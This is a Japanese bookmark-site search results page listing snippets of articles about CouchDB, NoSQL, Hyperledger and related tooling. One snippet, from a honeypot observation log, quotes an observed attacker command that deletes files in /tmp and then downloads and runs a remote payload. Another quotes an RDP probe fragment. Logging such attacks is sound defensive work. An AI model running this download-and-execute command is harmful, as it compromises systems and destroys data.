並び順

ブックマーク数

期間指定

  • から
  • まで

81 - 120 件 / 162件

新着順 人気順

CouchDBの検索結果81 - 120 件 / 162件

  • Amazon Managed Blockchain(Hyperledger Fabric)ハンズオン体験記 - Qiita

    ※注意 AWSのHyperledger Fabricのバージョンが上がってしまったため、この内容では動作しません。 最後に参考URLを載せてありますので、そちらを参考にしてください。 ただし、バージョンを1.4にすれば、このまま動きます。 はじめに 先日、こちらのハンズオンに参加したので、忘備録を兼ねて、体験記を残しておきたいと思います。 https://awsbasics.connpass.com/event/206599/ 当日は大量の手順に追われ、何をやっていたのか理解できずに進めていましたが、こうやって振り返ることで、理解していきたいです。 ハンズオンの元となった記事はこちらのようです。 【注意】理解しやすいように、当日の手順とは若干順番を入れ替えているところがあります Hyperledger Fabricの概要 ※この項目はハンズオン中にはありませんでしたが、内容理解のために追加

      Amazon Managed Blockchain(Hyperledger Fabric)ハンズオン体験記 - Qiita
    • AWSでブロックチェーンネットワーク構築第1回~環境構築編~ |システム・アプリ開発 - クロスパワークラウドブログ

      近年、ブロックチェーンの技術は金融業界をはじめ様々な分野で注目を集めています。 Amazon Web Service(以降AWS)ではブロックチェーンを簡単に構築、またパブリックネットワークに参加できるサービスを提供しています。 この記事では、数回に分けてAWSの「Amazon Managed Blockchain」というサービスを使ってブロックチェーンネットワークを構築する手順を紹介します。 第一回目(当記事)では、「ブロックチェーンネットワークの構築」「ネットワークと通信するためのクライアント作成」までの手順を説明します。 AWSやブロックチェーンの知識がない方でも手を動かせるように画像付きで解説しているので、ブロックチェーンに興味のある方は是非、実際に触ってみてください。 ブロックチェーンとは? 「そもそもブロックチェーンってなに?」という方のために簡単におさらいしておきましょう。

        AWSでブロックチェーンネットワーク構築第1回~環境構築編~ |システム・アプリ開発 - クロスパワークラウドブログ
      • Nmapを検証してみました【NSE編】 – (n)

        Tweet ※本投稿に記載の内容を自身の管理下にないネットワーク・コンピュータに行った場合は、攻撃行為と判断され、最悪の場合、法的措置を取られる可能性もあります。同内容の調査を行われる場合には、必ず自身の管理下にあるネットワークやサーバーに対してのみ実施してください。 【検証概要】 Nmapの機能の1つ「NSE(Nmap Script Engine)」について、以下2点にフォーカスを合せて検証を行いました。 ・日本語訳化 ・スクリプトの動作確認 なお、NSEの公式リファレンスは以下をご参照ください。 https://nmap.org/nsedoc/index.html 【検証環境】 各ホストは検証開始日(2016年11月6日)時点での、以下OS、Versionを使用しました。 ・NSE実行ホスト:Kali Linux Rolling (Nmap version 7.25 BETA1) ・N

        • OpenTelemetry Collector Contribを眺めてみる - receiver編 - kmuto’s blog

          OpenTelemetryブームなので、実際今Collectorでどこまですぐに(何かを自作せずに)監視したいもの、特にミドルウェアまわりが見られるのか、というのを把握しておこうと思う。 opentelemetry-collector-contribリポジトリのまずはreceiverを一覧してざっとREADMEを見て回るところから始めた。 github.com 箇条書きのalpha、betaといったものは安定度(stability)で、development→alpha→beta→stableというステージになっているとのこと。実際のところcontribにあるものでstableなものはなく、developmentやalphaがゴロゴロしている状況。 renovate系更新が多いので、改良具合は見通しが悪い。新規フォルダが作られるのとREADMEを追跡するのがいいのかな。 activedir

            OpenTelemetry Collector Contribを眺めてみる - receiver編 - kmuto’s blog
          • 20220817 - QWYNG.dev

            やったこと # Macを取り返そうな雰囲気を感じ、これを機にメモアプリを見直そうと考えObsidianを使い始めた。 私生活はWindowsで仕事はMacと使い分けているので同期は必須。あとScrapBoxみたいにリンクが集まっていい感じになってほしかった。 じゃあScrapBoxでええじゃんということなのだがブラウザの挙動の中で文章を書くのはなかなか面倒だし、アプリの切り替えでメモアプリに遷移したいのでタブの中に埋もれるScrapBoxは候補から外した。 Obsidian公式が提供してるSync機能が月10$で高すぎてひっくり返ってしまったので有志が提供してるself-hostでcouchdbを使って同期するPluginを導入した。公式のPluginストアに存在したので公式が認めないような拡張ではなさそう。 導入に結構時間がかかってしまった。僕のインフラ力が足りない。手順は以下 couc

            • Ruby: CouchDB のデータを読む (Read) - Qiita

              #! /usr/bin/ruby # -*- encoding: utf-8 -*- # # couch_read.rb # # Jul/31/2020 # # --------------------------------------------------------------------- require 'faraday' require 'json' # # --------------------------------------------------------------------- STDERR.puts "*** 開始 ***" # URL="http://localhost:5984/nagano/_all_docs?include_docs=true" # res = Faraday.get URL # puts res.status json_str =

                Ruby: CouchDB のデータを読む (Read) - Qiita
              • About etcd and NoSQL - SWEet

                はじめに 本記事は adventar.org における19日目の記事になります. Previous ICCV2019 Best paper SinGANのできる事できない事[実践編] - Qiita Next @Shagamii による記事 となっていますのでよろしければこちらもどうぞ. さて, 今回は昨今多く世に出てきているNoSQL(NewSQL)とそのうちの一つであるetcdについて述べます. etcdに関してよく知らないという方に向けて参考になれば幸いです. NoSQL, NewSQLについて NoSQLとは aws.amazon.com NoSQLの"No"の意味には様々な解釈がありますが, 僕自身では "Not Only SQL" だと考えています. 所謂, MySQLやPostgreSQLのようなリレーショナルなデータ構造を持たないDBを指しています. 多くのWebソフトウェ

                  About etcd and NoSQL - SWEet
                • GWに最新技術ブログまとめサイトを開発した話

                  こんにちは! 株式会社Devlandのジェイです。😄 皆さん、GWはゆっくり過ごせましたか? 私はGW中に勉強がてら最新技術ブログまとめサイト「Devland」を開発していました。 紹介 冒頭にも書きましたが、一言で表すと最新技術ブログまとめサイトです。 サービス名の由来は、Developer + Land で、Developerにとって役立つ場所にしたいという思いからDevlandと名付けました。 Devland - https://dev1and.com モチベーション GWの間に何か新しい技術の勉強をしたいけど、丁度いいものないかな〜 Zenn、Qiita、個人ブログ、企業ブログがいい感じにまとまったサイトないかな〜 作るなら私はもちろん他のエンジニアにも役立つサービスがいいな〜 という気持ちから開発をスタートしました。 新しい技術の勉強 私のスキル的なところから話をしますと、イン

                    GWに最新技術ブログまとめサイトを開発した話
                  • AWSアソシエイト試験に向けて10(AWSのデータベース) - Qiita

                    はじめに 2021年6月現在の話。 DynamoDBについてUdemyの講座ではTRANSACTIONが不可と紹介されていたが、実際は2018年頃に可能になっていたようだ。 Amazon DynamoDB Transactions: 仕組み 講義のスライドは載せられないが、はっきりと不可と書いてあり、講師によるとDynamoDBはNoSQLなので複雑な処理を伴うユースケースではそもそも向いていない意図で不可と書いたそうだが、それならTRANSACTIONを伴う処理には不向きと書くべきで、適切ではないと感じた。 トランザクションってなんだっけ? よくもやもやするので整理をしておく。 データベースをある一貫した状態から別の一貫した状態へと変更する一連の処理を1つの束として見るという手法。 データベースを扱う上で 同時アクセスした場合の処理(整合性の問題) 処理中のエラーやデータベース依存ではな

                      AWSアソシエイト試験に向けて10(AWSのデータベース) - Qiita
                    • Google Cloud アップデート (2/10-2/16/2022) - Qiita

                      SAP: Feb 9, 2022 AMD EPYC MilanベースのN2DがNetWeaverでcertificationを得たよ! Compute Engine: Feb 9, 2022 OSログイン利用時に、2SVに設定したセキュリティキーが利用できるのがプレビューになったよ! Cloud Billing: Feb 8, 2022 2/2022からCommitted use discountsの利用状況が時間ごとに見れるようになったよ! Cloud Asset Inventory: Jan 27, 2022 VPC-SCのAccess Policyの一部ポリシが追加されたよ Cloud Composer: Feb 7, 2022 新しいイメージ(composer-2.0.3-airflow-2.2.3, composer-2.0.3-airflow-2.1.4, composer-2

                        Google Cloud アップデート (2/10-2/16/2022) - Qiita
                      • NoSQL基礎の基礎 - Qiita

                        NoSQLとは何か? NOSQLとは? SQL以外のDBの総称 SQLではないものを指す。しかしこれはNotOnlySQLであって、「SQLの時代が終わった。」とか「SQLは不要になった。」というわけではない。 「SQLだけではなくて新しいDB技術を使う必要があるというムーブメントの総称。」 なぜSQLだけではダメなのか? SQLでは充分ではない? 「SQLでは充分ではない。」悟られ始めた背景にはビッグデータの存在があることは間違いない。RDBは単体のハードウェアの上で利用するには最適。しかし、それを複数台並べてデータを分散して管理することは不得意。NOSQLであれば汎用的なハードウェアを並べてあたかも一つのシステムのように膨大なデータを格納して処理することができる。 ビッグデータに対応するとは? ビッグデータへの対応とは3つのVに対応することを意味する。 3つのV... Volume(膨

                          NoSQL基礎の基礎 - Qiita
                        • Obsidian マルチプラットフォームのリアルタイム同期 - Liamm

                          插件演示,基于livesync插件和群晖Docker,需要访问NAS和域名。在Docker中安装couchdb,配置local.ini文件并上传到NAS路径。添加环境配置,启动Docker并访问IP:端口。配置客户端插件,开启实时同步。建议关闭其他同步设置。添加群晖反代,启用https,设置外网访问。配置路由器端口转发,填写客户端URI地址。插件用于同步而非备份,建议搭配Drive自动备份。 プラグインデモ# このソリューションは、livesync プラグイン + Synology Docker をベースにしており、自宅の NAS にアクセスできる必要があり、またドメイン名が必要です。 公式プロジェクトのリンク 公式の中国語の説明 体験# 2 ヶ月ほど使っていますが、スムーズな同期で、クラウドノートソフトウェアを使っているような感覚です。 Synology Docker でのデータベースの

                            Obsidian マルチプラットフォームのリアルタイム同期 - Liamm
                          • ポケモンGOで学ぶ!CouchDBを使ったWebアプリの作り方

                            ドキュメント指向のデータベース「CouchDB」で作る、Webアプリのチュートリアル。後編ではいよいよ、Googleマップのデータを取り込み、ポケモンの位置と名前を登録できるようにします。 『NoSQLってどう使うの? CouchDBでポケモンGOレコーダーを作ってみた』では、CouchDBについて紹介しました。今回は学んだことを活かして本格的なアプリを作ります。記事の最後では、データベースの保護方法についても解説します。 プロジェクトの概要 ポケモンの出現場所を記録するアプリを作成します。 このアプリではユーザーがポケモンGOで出会ったポケモンの場所を保存できます。Googleマップを位置検索に使い、マーカーで正確な位置を示します。ここだと思える場所でマーカーに触ると、ユーザーがポケモンの名前を入力して場所を保存できるモーダルウィンドウが表示されます。次のユーザーが参加して同じ場所を検索

                              ポケモンGOで学ぶ!CouchDBを使ったWebアプリの作り方
                            • 2022/09/22 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                              ハニーポット(仮) 観測記録 2022/09/22分です。 特徴 共通 /.envへのスキャン行為 Location:JP PHPFusionの脆弱性(CVE-2020-24949)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Spring Bootの脆弱性を狙うアクセス aiohttpによるスキャン行為 zgrabによるスキャン行為 .jsへのスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 phpMyAdminへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 158.69.162.106/jaws; sh /tmp/jaws cd /tmp; rm -rf *; wget 185.21

                                2022/09/22 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                              • オープンソースの優れたデータベースソフトウェア10選

                                今日、ほとんどのアプリケーションやプログラムには、データを保存する場所が必要です。特にウェブアプリでは、データベースが重要な役割を担っています。 データベースを選ぶ際に考慮すべき要素として、まず第一に費用が挙げられますが、データベースの柔軟性やサーバーとの相性も欠かせない要素です。結論として、オープンソースのデータベースを選ぶのが最善であり、その理由は複数あります。 オープンソースのデータベースは費用がかからず、制限なく使用することができます。WordPressなどのコンテンツ管理システム(CMS)のように、オープンソースのソフトウェアは、非常に強力で機能性に富んでいます。最も人気のある(そしてサポートもされている)データベースのいくつかは、オープンソースのソリューションです。 この記事では、オープンソースの優れたデータベースソフトウェアを取り上げて、それぞれの特徴をご紹介していきます。

                                  オープンソースの優れたデータベースソフトウェア10選
                                • MongoDBの特徴と使い方を徹底解説!使いどころや導入のメリットは?MySQLとの違いや連携・移行方法もチェックしよう| ITフリーランスエンジニア案件・求人ならSHIFT

                                  humongousは英語で「ばかでかい」という意味で、MongoDBのmongoはこの単語が由来です。 MongoDBのロゴの葉っぱと合わせて考えると、とても大きな木のイメージが浮かんできます。 MongoDBの開発オフィスには切り株や観葉植物が置いてあるらしいです。 本記事ではMongoDBの使いどころ・メリット・デメリット、そしてMongoDBの使い方について説明します。 MongoDBの基本を押さえて正しく使える状態を目標にしましょう。 またMySQLとの連携方法や移行方法についても解説します。 MongoDBとは MongoDBはオープンソースのドキュメント指向型データベースです。 有名なプロダクトではUber・SourceForge・AmebaがMongoDBを採用しています。 2009年という後発にも関わらず、人気のあるデータベースとして高順位をキープし続けているシステムです。

                                    MongoDBの特徴と使い方を徹底解説!使いどころや導入のメリットは?MySQLとの違いや連携・移行方法もチェックしよう| ITフリーランスエンジニア案件・求人ならSHIFT
                                  • couchbase : まだプログラマーですが何か?

                                    Couchbase Server のデータに Java のクライアントライブラリ経由でアクセスするための準備と実装内容を紹介します。 まずサーバーをセットアップします。手順はこちらに記載してある方法ですが、Couchbase Server とクライアントプログラムとの間で開けておくべきポートに注意する必要があります。 Couchbase Server の導入時の最後に以下のようなメッセージが表示されます: ここで指示されているように、Couchbase Server とクライアントアプリケーションとの間では 4369, 8091, 8092, 11209, 11210, 11211, 11214, 11215, 18091, 18092, そして 21100~21299 番のポートが全て開放されている必要があります。間にファイアウォール環境が入る場合はこの点に注意して、場合によってはフォワ

                                      couchbase : まだプログラマーですが何か?
                                    • 【ハニーポット簡易分析】Honeypot簡易分析(2020/7/20-7/31) - sec-chick Blog

                                      7/20-7/31のHoneypot簡易分析になります。 Honeytrap(Total) Number of detections Date Detections 20200721 101345 20200722 118863 20200723 50818 20200724 79282 20200725 169591 20200726 147309 20200727 298291 20200728 460192 20200729 390285 20200730 304043 20200731 153374 RemoteIP(TOP20) 検知したIPのTOP3を調査してみましたが、いずれもRDPの不正アクセスを狙ったものでした。 また、検知したIPの国はフランスが多めです。 <ペイロード> x03x00x00/*xe0x00x00x00x00x00Cookie:mstshash=Admi

                                        【ハニーポット簡易分析】Honeypot簡易分析(2020/7/20-7/31) - sec-chick Blog
                                      • Ruby: CouchDB のデータを削除 (Delete) - Qiita

                                        #! /usr/bin/ruby # -*- encoding: utf-8 -*- # # couch_delete.rb # # Jul/31/2020 # # --------------------------------------------------------------------- require 'faraday' require 'json' # # --------------------------------------------------------------------- STDERR.puts "*** 開始 ***" # key_in = ARGV[0] puts key_in URL="http://localhost:5984/nagano/" + key_in # res = Faraday.get URL puts res.status

                                          Ruby: CouchDB のデータを削除 (Delete) - Qiita
                                        • 中継サービスにおけるGo言語でのクリーンアーキテクチャの実装例 - Qiita

                                          各レイヤーは依存ルールをもたせます。 以下の図のとおり、円の内側のレイヤーにのみ依存することができ、より外側のレイヤーについては依存することができません。 つまり、外側のレイヤーで定義された関数、変数などは内側のレイヤでは扱うことができません。 メリット クリーンアーキテクチャを適用することにより、変更に強く、独立したテストが容易に実行できるようになります。 フレームワーク非依存:アーキテクチャは、機能満載のソフトウェアのライブラリに依存していない。これにより、システムをフレームワークの成約で縛るのではなく、フレームワークをツールとして利用できる。 テスト可能:ビジネスルールは、UI、データベース、ウェブサーバー、その他の外部要素がなくてもテストできる。 UI非依存:UIは、システムの他の部分を変更することなく、簡単に変更できる。たとえば、ビジネスルールを変更することなく、ウェブUIをコン

                                            中継サービスにおけるGo言語でのクリーンアーキテクチャの実装例 - Qiita
                                          • MinikubeにPrometheusとGrafanaをHelmチャートでデプロイする - Qiita

                                            $ helm search prometheus NAME CHART VERSION APP VERSION DESCRIPTION stable/prometheus 8.4.5 2.6.1 Prometheus is a monitoring system and time seri... stable/prometheus-adapter v0.4.1 v0.4.1 A Helm chart for k8s prometheus adapter stable/prometheus-blackbox-exporter 0.2.0 0.12.0 Prometheus Blackbox Exporter stable/prometheus-cloudwatch-exporter 0.2.1 0.5.0 A Helm chart for prometheus cloudwatch-expo

                                              MinikubeにPrometheusとGrafanaをHelmチャートでデプロイする - Qiita
                                            • 使ってるインフラの理解を深める 〜Amazon DynamoDB編〜 - Qiita

                                              使っているサービスをエレベーターピッチにしてみることで説明できそうなのでやってみた [ ニーズを満たしたりや課題を解決したり ] したい [ 対象顧客向け ] 向けの [ プロダクト名 ] は [ プロダクトのカテゴリー ] です これは [ 重要な利点、大家にみある説得力のある理由 ] ができ [ 代替手段 ] とは違って [ 差別化の決定的な特徴 ] が備わっている エレベータピッチについては下記を参照のこと Amazon DynamoDBとは Amazon Web Serviceで提供されるNoSQLデータベース管理システムのこと Amazon DynamoDB エレベータピッチ [ NoSQLを気軽に運用 ] したい [ インフラエンジニア/フロントエンジニア ] 向けの [ Amazon DynamoDB ] は [ NoSQLデータベースマネジメントシステム ] です これは

                                                使ってるインフラの理解を深める 〜Amazon DynamoDB編〜 - Qiita
                                              • 「OpenIndiana 2021.04」が公開 | OSDN Magazine

                                                OpenIndianaプロジェクトは5月1日、最新版となる「OpenIndiana Hipster 2021.04」の公開を発表した。 OpenIndianaは、米Sun Microsystems(米Oracleが2009年に買収)の「Solaris」のオープンソース版である「OpenSolaris」由来のプロジェクト。OpenSolarisはその後Illumosとなり、OpenIndianaはIllumos Foundation傘下にある。OpenIndiana HipsterはOpenIndiaの開発ブランチでローリングリリースモデルをとり、年に2回スナップショットを公開する。OpenIndian 2021.04は、2020年11月に公開されたOpenIndiana Hipster 2020.10に続く最新版となる。 これまで1バージョンのみだったNvidiaドライバーを拡充し、nvi

                                                  「OpenIndiana 2021.04」が公開 | OSDN Magazine
                                                • データマイニングに必要なスキルは? - Qiita

                                                  近年、「ビッグデータ」の注目に伴い、ビッグデータを活用するための手段として、「データマイニング」にもよく耳にします。「データマイニング」とは、そもそもどのようなものなのでしょうか? データマイニングとは データマイニング(Data mining)とは、その言葉の示す通り、膨大なデータから有効な情報を採掘(マイニング)する技術です。大量のデータを統計学や人工知能などの分析手法を駆使して、データの相関関係や隠れたパターンなどを見つけるための解析方法です。 データマイニングはデータサイエンスの分野における重要な技術です。Glassdoorの「アメリカの仕事ベスト50」のリストでは、データマイニングは、2016年から2018年にかけてアメリカで第1位の最高の仕事としてランクされています。 その上、2016年の1700件の求人情報と比べて、求人の数は2年間で160%大幅に増加しました。データサイエン

                                                    データマイニングに必要なスキルは? - Qiita
                                                  • cradle で CouchDB にDBを作成しても save ができなかった(ように見えた)件 - Qiita

                                                    var conn = new(cradle.Connection)( constants.DB_URL, constants.DB_PORT ); var db_master = conn.database('ddntj'); db_master.create(); db_master.save('hoge', { data:huga } , callback(){...});

                                                      cradle で CouchDB にDBを作成しても save ができなかった(ように見えた)件 - Qiita
                                                    • IndexedDBで遊んでみた|MODE Japan

                                                      こんにちは、MODEでソフトウェアエンジニアをしている木村です。 MODEではフルスタックエンジニアとして働いてます。ここ最近はReactを中心にやっていますが、最近プロジェクトでブラウザ内蔵型データベースのIndexedDBを知る機会があったので、学んだことのアウトプットも兼ねて記事を書いてみました! IndexedDBを知ったきっかけ将来的なマーケティングに活用するために、とある屋外イベントの特定層の入場データを取得したい課題を抱えていたユーザーに、MVP(Minimum-Viable-Product)を提供するプロジェクトにアサインされたのが最初のきっかけです。 今回の運用環境は、屋外イベントで沢山の人が1箇所に集まり通信が不安定になるリスクがあったのと、ユーザー側としては(当たり前ですが)データの欠損を出したくないニーズがありました。つまり通信が不安定な時にクライアント側にデータを

                                                        IndexedDBで遊んでみた|MODE Japan
                                                      • 【ハニーポット簡易分析】Honeypot簡易分析(2020/4/29) - sec-chick Blog

                                                        今までと比較して、Port1433宛の通信がかなり減りました。。。何があったのだろうか。。。。 Port(TOP20) Honeytrap Port Service Count 22 The Secure Shell (SSH) Protocol 2797 件 445 Microsoft-DS 1776 件 1433 Microsoft-SQL-Server 791 件 3389 MS WBT Server 272 件 37777 Unknown 149 件 81 Unknown 116 件 5901 Unknown 83 件 1167 Cisco IP SLAs Control Protocol 78 件 6379 An advanced key-value cache and store 62 件 6666 Unknown 54 件 79 Finger 52 件 8080 HTTP A

                                                          【ハニーポット簡易分析】Honeypot簡易分析(2020/4/29) - sec-chick Blog
                                                        • SWEet

                                                          CyberAgent に入社して2年が経ちました。今日から3年目です。 入社してからは CIU というインフラ横断の組織で開発を主にしていました (入社した時はまだ SIA って組織名でしたけどね) 入社してから何をしてたか AKE というコンテナ基盤を改修、ユーザさんのサポートをしていました。 そういったことを率先していたからかプロダクトオーナーの権限を一部委譲していただけたりもしました。 それから AKE のリプレイスということで AKE v2 の技術調査、一部コンポーネントの設計なんかを色々やらせてもらいました。 詳しくはこの間の CA Developers Conference という社外向けの発表を見ていただけると。(僕もライブQ&Aに出てます) www.youtube.com あとは ML 基盤の開発なんかも始まって2軸体制になってコンテキストスイッチがなかなか大変でした。今も

                                                            SWEet
                                                          • 【特別インタビュー:前編】日本IBMブロックチェーンテクニカルリーダー 紫関 昭光 氏

                                                            ブロックチェーン業界で活躍するプレイヤーにスポットライトを当てる特別インタビュー、今回は日本IBMのブロックチェーンテクニカルリーダー・IBM Cloud Meisterの紫関昭光氏です。 前編・後編の2部構成でお届けいたします。 まずは、インタビュー前編です。 ※本記事の最後に後編へのリンクがございます。 IBMとブロックチェーンの関係は IBMは Hyperledgerプロジェクトの創設メンバーであり、Hyperledger Fabricの開発に貢献しています。同社は独自のBaaS「IBM Blockchain Platform」も提供しています。今回は、IBMでブロックチェーンクラウドリーダー・IBM Cloud Meisterとして長年活躍されている紫関昭光氏にお話を伺いました。 ▼公式 IBM Blockchain Platform インタビュー:前編 ブロックチェーンとの関わり

                                                              【特別インタビュー:前編】日本IBMブロックチェーンテクニカルリーダー 紫関 昭光 氏
                                                            • MVCC による PostgreSQL の並列性 | Heroku Dev Center

                                                              Postgres の大きなセールスポイントの 1 つは、並列性を処理する仕組みです。ルールはシンプルです。読み取りは決して書き込みをブロックせず、その逆も同様です。Postgres では、多版型同時実行制御 (Multi Version Concurrency Control) と呼ばれるメカニズムを介してこれを実現します。この手法は Postgres に特有のものではなく、Oracle、Berkeley DB、CouchDB、その他多数​のデータベースが何らかの形で MVCC を実装しています。Postgres における MVCC の実装の仕組みを理解することは、並列性の高いアプリを PostgreSQL で設計するにあたって重要です。これは実際には、困難な問題に対する洗練されたシンプルなソリューションです。 MVCC の仕組み Postgres では、すべてのトランザクションが XID

                                                                MVCC による PostgreSQL の並列性 | Heroku Dev Center
                                                              • Pentaho Data Integration 入門編 (1) - 機能概要と用語整理 - Qiita

                                                                サマリ この記事では以下について紹介しています。 機能概要(入門編としてPentaho Data Integrationでできることを整理) 用語整理(Pentaho Data Integrationの基本的な用語を整理) Pentaho Data Integrationで具体的に何ができるのかを整理しました。 基本的なETL機能 データ抽出 DB、ファイル(CSV/固定長/Excel/Json/XML等)、RestAPI、LDAP等へアクセスしデータを取得 特にDB(Table)からデータを取得する場合はSQLを使用することになるので、SQL上に変数を埋め込んで条件を変更しながらデータを取得することも可能、条件を作っておいてLoopさせてSQLを動的に発行しながら処理を行うとか) S3上のファイルへ直接アクセスしデータを取得 ストリームデータ(JMS、Kafka、MQTT)の取得 Avr

                                                                  Pentaho Data Integration 入門編 (1) - 機能概要と用語整理 - Qiita
                                                                • 企業のデータ活用の中心であるデータベースの進化とその広がり|Masaya.Mori 森正弥 / Chief AI Officer

                                                                  更には、ビッグデータをベースとしたAI技術の活用、クラウドに加えたエッジコンピューティングの登場や産業用IoTの普及、そしてトランザクションに関するパラダイムを転換するブロックチェーンの応用も進んできています。 データベースの変化 そして、今、データベースは変化してきています。その期待が変わり、より多くの責任を引き受け、よりスマートな答えを提供するようになっています。DBMSは商用、OSSの両分野で発展していき、DB Engines による統計によれば2013年はその数が162種類であったものが、2019年には342種類に増えました。あわせて新しいオプションや機能も増えています。取り巻く環境の変化への対応として、データフローのアーキテクチャーを再考し、これら新しい機能をどんどん試していくことは、変化が激しくなればなるほど、合理的な選択になっています。 クラウド化 まず、データベースのクラウ

                                                                    企業のデータ活用の中心であるデータベースの進化とその広がり|Masaya.Mori 森正弥 / Chief AI Officer
                                                                  • Hyperledgerのチュートリアルでチェインコードをデプロイしてみた - teruuuのブログ

                                                                    Hyperledger Tutorial をやってみた Hyperledger のチュートリアルをやってみたので、その時の内容をまとめてみたいと思います。 環境構築 まずは環境構築ですが、以下に手順がまとめられています。 hyperledger-fabric.readthedocs.io 手順の中である以下のコマンドで Hyperledger Fabric のプラットフォーム固有のバイナリと設定ファイルおよび、チュートリアルで動かすコードのダウンロードができます。自分は Windows の環境だったので Hyper-V に CentOS7 の仮想マシンを立ち上げてそこにインストールしました。 curl -sSL https://bit.ly/2ysbOFE | bash -s 実行後、コマンド実行時のディレクトリの bin 直下にバイナリがダウンロードされるのでパスを通しておきます。 [r

                                                                      Hyperledgerのチュートリアルでチェインコードをデプロイしてみた - teruuuのブログ
                                                                    • liszt: Append onlyでリーダーとライターが分離されたKVS - モナドとわたしとコモナド

                                                                      adventar.org 以前仕事で使おうとして没になったアイデアを改めて記事にまとめる。 動機 以前書いた記事で説明したものとほとんど一緒である。 fumieval.hatenablog.com プログラムのログをリアルタイムに監視する仕組みが欲しいが、その仕組みがダウンしても監視対象には影響を及ぼさないようにしたいというのポイントだ。 そのため、ライター側はファイルに書き込み、リーダーはinotifyなどでファイルを監視するという、書き込みにサーバーを必要としない仕組みにした。 さらに、途中でクラッシュしても問題ないよう、ファイルはappend-onlyとし、ファイルの最後にページを書き込む。そのため、ページはなるべく小さくしたい。 ログしたいデータは大きく分けてスナップショットとイベントの二種類あり、内容に応じて20本程度のチャネルに分ける。それぞれのチャネルは、ペイロードのリストか

                                                                        liszt: Append onlyでリーダーとライターが分離されたKVS - モナドとわたしとコモナド
                                                                      • 60万ダウンロードを超える開発者向けノートツールBoost Note、3年間のベータ期間を経て一般リリースを実施:時事ドットコム

                                                                        60万ダウンロードを超える開発者向けノートツールBoost Note、3年間のベータ期間を経て一般リリースを実施 [BoostIO株式会社] 開発者向けノートサービスBoost Note(ブーストノート)を運営するBoostIO株式会社(ブーストアイオー、代表取締役社長:横溝一将)は、本日Boost Noteを一般公開を実施したことをお知らせいたします。 また、GitHub上にオープンソースプロジェクトとして公開も実施しております。 GitHubレポジトリ:https://github.com/BoostIO/BoostNote.next サービス紹介ページ:https://boostnote.io/ 3年間のベータ期間 2016年春にオープンソースとして公開した旧Boostnote( https://github.com/BoostIO/Boostnote )は、これまで200ヶ国以上、

                                                                          60万ダウンロードを超える開発者向けノートツールBoost Note、3年間のベータ期間を経て一般リリースを実施:時事ドットコム
                                                                        • Cask ‘inkscape’ definition is invalid: invalid depends_on key: ‘:x11’

                                                                          brew upgradeしたら、inkscape の x11のほにゃららエラーでいきづまっちゃたよ $ brew upgrade ==> Casks with 'auto_updates' or 'version :latest' will not be upgraded; pass `--greedy` to upgrade them. ==> Upgrading 5 outdated packages: Error: Cask 'inkscape' definition is invalid: invalid depends_on key: ':x11' brew remove inkscapeもできない... https://gist.github.com/muumin/0f335739cc0a06a0decc004141a6b4e8 に似たようなエラーを見つけた。 こんな感じのコマ

                                                                            Cask ‘inkscape’ definition is invalid: invalid depends_on key: ‘:x11’
                                                                          • Laravel×クリーンアーキテクチャ - Wiz テックブログ

                                                                            どうもバックエンドエンジニアの小室です。 最近クリーンアーキテクチャについて理解が以前に比べ深まってきました。 まとめがてら、簡単なユーザー作成機能をクリーンアーキテクチャを使い実装していきたいと思います。 まずクリーンアーキテクチャといえば クリーンアーキテクチャ お馴染みの円の図です。 レイヤーの説明 ・Enterprise Business Rules ビジネスロジックを表現するレイヤーになります。DDDによる設計が最も影響し、 DDDでいうEntity, Value Object, Domain Serviceが該当します。 ・Application Business Rules ビジネスロジックを組み合わせ、ソフトウェアは何ができるのか(UseCase)を表現するレイヤーになります。 ・Interface Adapters 入力、永続化、出力を司るレイヤーになります。 ・Fram

                                                                              Laravel×クリーンアーキテクチャ - Wiz テックブログ
                                                                            • JVNVU#95751016: 複数のJohnson Controls製品における複数の脆弱性

                                                                              CVE-2024-32753 Illustra Pro Gen 4 Camera バージョンSS016.05.03.01.0010およびそれ以前 CVE-2024-32759 Software House C●CURE 9000 バージョン2.80およびそれ以前 CVE-2024-32861 Software House C●CURE 9000 Site Server バージョン3.00.3およびそれ以前 Johnson Controlsが提供する複数の製品には、次の複数の脆弱性が存在します。 脆弱なサードパーティ製コンポーネントへの依存(CWE1395)-CVE-2024-32753 脆弱な認証情報の使用(CWE-1391)-CVE-2024-32759 インストール時の不適切なファイルアクセス権設定(CWE-276)-CVE-2024-32861 脆弱性を悪用された場合、次のような影響

                                                                              • 「NOSQLの基礎知識」を読みました - 30代専業主婦の独学エンジニア挑戦ブログ

                                                                                勉強記録 今日は「NOSQLの基礎知識」を読みました。 全てを理解するのはまだ難しく、理解できたところ、重要そうなところをまとめてみました。 NOSQLの基礎知識 (ビッグデータを活かすデータベース技術) 作者:本橋信也,河野達也,鶴見利章 発売日: 2012/04/25 メディア: 単行本(ソフトカバー) <第1章> NoSQLとは何か? SQL以外のデータベースの総称 「Not only SQL」の略で「SQLだけではなく、新しいデータベース技術も利用する必要がある」という意味。 ・ビッグデータに対応する Volume 膨大な量 Velocity 速さ Variety 多種多様 の3つのVに対応するということ もし今RDBだけで上手く動いているのなら、無理にNoSQLを使う必要はない RDBを使っていて、整合性を一部犠牲にしてでもどうしてもパフォーマンスを上げたいときにNoSQLの使用

                                                                                  「NOSQLの基礎知識」を読みました - 30代専業主婦の独学エンジニア挑戦ブログ
                                                                                • 250種類以上のSaaS / DB データに連携する『CData Drivers v21版』をリリース

                                                                                  CData ~Salesforce、BigQuery、Marketo、HubSpot など主要ドライバーで大量の機能強化、20+の新着ドライバー、Python Connector 製品版~ 2021年6月10日、CData Software Japan 合同会社(本社:アメリカノースカロライナ州、日本オフィス:宮城県仙台市、代表社員 職務執行者 疋田 圭介)は、SaaS やクラウドDB とのデータ連携をシンプルにするCData Drivers のv21 をリリースしました。v21 では、人気のSalesforce、Google BigQuery、Marketo、HubSpot など主要なドライバーでAPI への追従や、より深いデータ処理ニーズに応える大量の新機能追加を行いました。また、Apache Kafka、Azure Synapse、Zuora などの新ドライバーのリリース、Pytho

                                                                                    250種類以上のSaaS / DB データに連携する『CData Drivers v21版』をリリース